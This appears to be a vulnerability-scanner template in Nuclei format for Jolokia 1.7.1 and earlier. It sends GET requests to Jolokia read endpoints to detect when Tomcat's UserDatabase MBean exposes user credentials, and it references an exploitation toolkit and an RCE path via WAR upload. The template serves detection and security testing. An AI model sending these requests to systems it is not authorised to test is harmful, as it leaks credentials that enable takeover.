id: jolokia-tomcat-creds-leak

info:
  name: Jolokia <= 1.7.1 Information Leakage
  author: pathtaga
  severity: critical
  description: Tomcat's credential disclosure leading to Remote Code Execution via WAR upload.
  tags: jolokia,tomcat,exposure
  reference:
    - https://github.com/laluka/jolokia-exploitation-toolkit/blob/main/exploits/info-leak-tomcat-creds.py
    - https://therealcoiffeur.github.io/c11011

http:
  - method: GET
    path:
      - "{{BaseURL}}/jolokia/read/Users:database=UserDatabase,type=UserDatabase"
      - "{{BaseURL}}/actuator/jolokia/read/Users:database=UserDatabase,type=UserDatabase"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '"mbean":"Users:database=UserDatabase,type=UserDatabase"'
          - '"users":'
        condition: and

      - type: word
        part: body
        words:
          - '"users":[]'
        negative: true
# digest: 490a00463044022036bab605aa1418d70bc326053dedf3fa46fd3a9fb5fdebf028a090ecf8db56d60220748bdf480870a285c89e60871978cbd5bbebcd1a038d24a106b4d82114550a26:922c64590222798bb761d5b6d8e72950